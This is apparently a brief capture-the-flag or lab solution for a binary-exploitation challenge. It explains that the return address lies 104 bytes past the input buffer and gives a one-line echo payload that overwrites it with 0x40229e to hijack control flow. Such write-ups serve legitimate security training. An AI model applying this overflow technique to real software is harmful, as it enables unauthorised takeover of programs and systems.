As told in the debug output, the return address is stored 104 bytes from input buffer and has to be changed to 0x40229e
echo -n -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9e\x22\x40\x00\x00\x00\x00\x00" | /challenge/binary-exploitation-control-hijack-w